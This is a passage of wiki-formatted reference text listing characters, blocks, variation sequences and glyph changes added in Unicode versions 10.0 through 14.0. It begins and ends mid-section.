* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
